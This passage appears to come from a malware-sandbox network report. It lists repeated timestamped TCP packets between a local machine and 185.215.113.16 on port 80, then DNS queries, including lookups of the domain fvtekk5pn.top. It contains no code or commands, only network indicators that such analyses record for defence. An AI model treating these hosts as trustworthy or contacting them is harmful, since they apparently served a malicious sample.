Nov 24, 2024 02:13:39.727037907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.727967024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.728004932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.751744032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.751799107 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.751826048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.751866102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.752149105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.752175093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.752187967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.752213955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.753134966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.753179073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.753230095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.753268003 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.754153967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.754199028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.754225016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.754266977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.755160093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.755201101 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.755292892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.755328894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.756186962 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.756227016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.756258965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.756295919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.757235050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.757298946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.757333040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.757373095 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.758256912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.758301020 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.758349895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.758389950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.759412050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.759443998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.759453058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.759480953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.760346889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.760385990 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.760445118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.760482073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.761352062 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.761396885 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.761436939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.761476994 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.762379885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.762428045 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.762468100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.762507915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.763425112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.763483047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.763519049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.763571978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.764461040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.764503002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.764561892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.764601946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.765476942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.765522003 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.765583992 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.765623093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.766514063 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.766552925 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.766695976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.766735077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.767625093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.767663002 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.767668962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.767702103 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.768611908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.768655062 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.768693924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.768733025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.769617081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.769659996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.769700050 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.769778013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.770654917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.770699024 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.770757914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.770797014 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.771673918 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.771716118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.771781921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.771821976 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.772741079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.772789955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.772815943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.772903919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.773761988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.773839951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.773986101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.774029970 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.774897099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.774923086 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.774936914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.774974108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.775816917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.775859118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.775898933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.775938988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.776910067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.776952028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.777009964 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.777071953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.777885914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.777930975 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.777995110 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.778031111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.778903008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.778948069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.779026031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.779067039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.779932976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.779973030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.780101061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.780142069 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.780972958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.781019926 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.781080008 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.781126022 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.782005072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.782063007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.782186985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.782227993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.783092022 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.783165932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.783180952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.783212900 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.784141064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.784187078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.784249067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.784320116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.785165071 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.785228968 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.785264969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.785314083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.786149979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.786201000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.786262035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.786302090 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.787174940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.787221909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.787297010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.787334919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.788227081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.788302898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.788350105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.788392067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.789269924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.789330006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.789467096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.789509058 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.790386915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.790415049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.790438890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.790462017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.791354895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.791429043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.791456938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.791534901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.792331934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.792426109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.792454004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.792454004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.793384075 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.793435097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.793483019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.793524027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.794413090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.794454098 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.794517994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.794554949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.795440912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.795500040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.795541048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.795582056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.796514034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.796556950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.796708107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.796752930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.797652006 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.797694921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.797697067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.797732115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.798578978 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.798640013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.798666000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.798711061 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.799597979 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.799644947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.799669027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.799707890 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.800611973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.800657034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.800702095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.800740004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.801634073 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.801681042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.801721096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.801758051 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.802680016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.802719116 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.917330980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.917387962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.917479992 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.917522907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.917850018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.917895079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.917974949 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.918025017 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.918924093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.918967009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.918994904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.919034958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.919917107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.919956923 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964570045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964585066 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964624882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964647055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964731932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964772940 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964814901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964854956 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964864969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964905977 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.964905977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.964942932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.965859890 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.965914965 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.966007948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.966058969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.966887951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.966933966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.966974974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.967015028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.967931032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.967973948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.968039989 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.968091011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.968995094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.969044924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.969110012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.969156981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.969949961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.969993114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.970083952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.970124960 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.971013069 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.971061945 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.971122980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.971168041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.972065926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.972115993 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.972220898 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.972270012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.974383116 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.974431038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.975678921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.975727081 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.976526976 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.976574898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.976674080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.976689100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.976705074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.976711988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.976728916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.976737022 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.977176905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.977212906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.977339029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.977380037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.978312016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.978363037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.978490114 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.978559971 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.979298115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.979348898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.979481936 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.979521036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.980335951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.980377913 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.980506897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.980547905 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.981453896 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.981470108 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.981504917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.981534958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.982423067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.982439041 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.982474089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.982484102 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.983354092 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.983396053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.983524084 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.983562946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.984401941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.984442949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.984533072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.984575033 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.985541105 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.985557079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.985585928 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.985595942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.986473083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.986534119 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.986641884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.986680031 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.987540007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.987586021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.987699032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.987737894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.988600016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.988647938 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.988785982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.988821983 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.989563942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.989599943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:39.989748001 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:39.989788055 CET	49756	80	192.168.2.4	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 02:13:12.208847046 CET	192.168.2.4	1.1.1.1	0xd9f9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:13:12.208992004 CET	192.168.2.4	1.1.1.1	0x497e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 24, 2024 02:14:05.474740982 CET	192.168.2.4	1.1.1.1	0x18ec	Standard query (0)	home.fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:05.474885941 CET	192.168.2.4	1.1.1.1	0x4ca1	Standard query (0)	home.fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 02:14:31.181701899 CET	192.168.2.4	1.1.1.1	0x7173	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:31.181833982 CET	192.168.2.4	1.1.1.1	0xc781	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 02:14:34.125720978 CET	192.168.2.4	1.1.1.1	0x2a03	Standard query (0)	fvtekk5pn.top	A (IP address)	IN (0x0001)	false
Nov 24, 2024 02:14:34.125783920 CET	192.168.2.4	1.1.1.1	0x248	Standard query (0)	fvtekk5pn.top	28	IN (0x0001)	false
Nov 24, 2024 02:14:39.654946089 CET	192.168.2.4	1.1.1.1	0xefab	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
